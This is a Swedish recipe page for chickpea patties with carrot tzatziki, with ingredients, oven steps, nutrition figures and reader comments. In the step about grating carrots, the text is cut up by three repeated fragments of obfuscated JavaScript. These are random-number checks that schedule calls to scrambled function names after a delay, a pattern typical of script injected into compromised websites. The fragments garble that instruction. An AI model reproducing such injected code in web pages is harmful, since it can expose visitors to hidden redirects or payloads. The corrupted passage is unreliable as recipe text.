Kikärtsbiffar med morotstsatsiki

2013-07-19

Skill Level: Enkelt

Yield : 6
Servings : 2
Prep Time : 10m
Cook Time : 15m
Ready In : 25m

Ingredienser

1 burk kikärter
1 röd lök
1 vitlök
curry
1 tesked sambal oelek
3 champinjoner
rotselleri
1 ägg
1 dl kvarg
1 liten morot
färsk pressad citron

Gör så här:

Sätt ugnen på 220 ° c.

Skölj och mixa kikärterna i matberedare.
Tillsätt övriga ingredienser i matberedaren.
Forma biffarna. Grädda i ugnen i 15 min ( ev. grilla)

Riv morötterna, blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a med kvarg och vitlök.

Recipe Type: Vegetariskt

Milica Jocic

View Other Recipes By This Chef »

Medlemsbetyg

(3.8 / 5)

3.8 5 4

4 people rated this recipe

Related Recipes:

Nutellapannkakor
Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.
Avokado & äggmacka
Vitchoklad & hallonpudding
Proteinrik hummus

Näringssinnehåll

Informationen gäller per portion

Kcal
195
Protein
13 g
Kolhydrater
24 g
Fett
2 g

Recipe Comments

posted by barbro on 25/07/2013

Hejsan! Ser gott ut måste provas men det står rotselleri i receptet men det ska väl vara morötter?

Reply
- posted by Milica Jocic on 11/08/2013
  
  Vad kul att du tycker det! Av morötterna gör man morotstsatsiki, inga morötter i biffarna!
  
  Reply
posted by Katta on 06/08/2013

Hej! Hur mycket morötter ska man använda?

Reply
- posted by Milica Jocic on 11/08/2013
  
  1 liten morot hade jag i Om man tycker om morötter kan man självklart ha i mer
  
  Reply

Recipe Search

Välj recept efter: Frukost / Mellanmål / Lunch / Huvudrätt / Efterrätt / Alla recept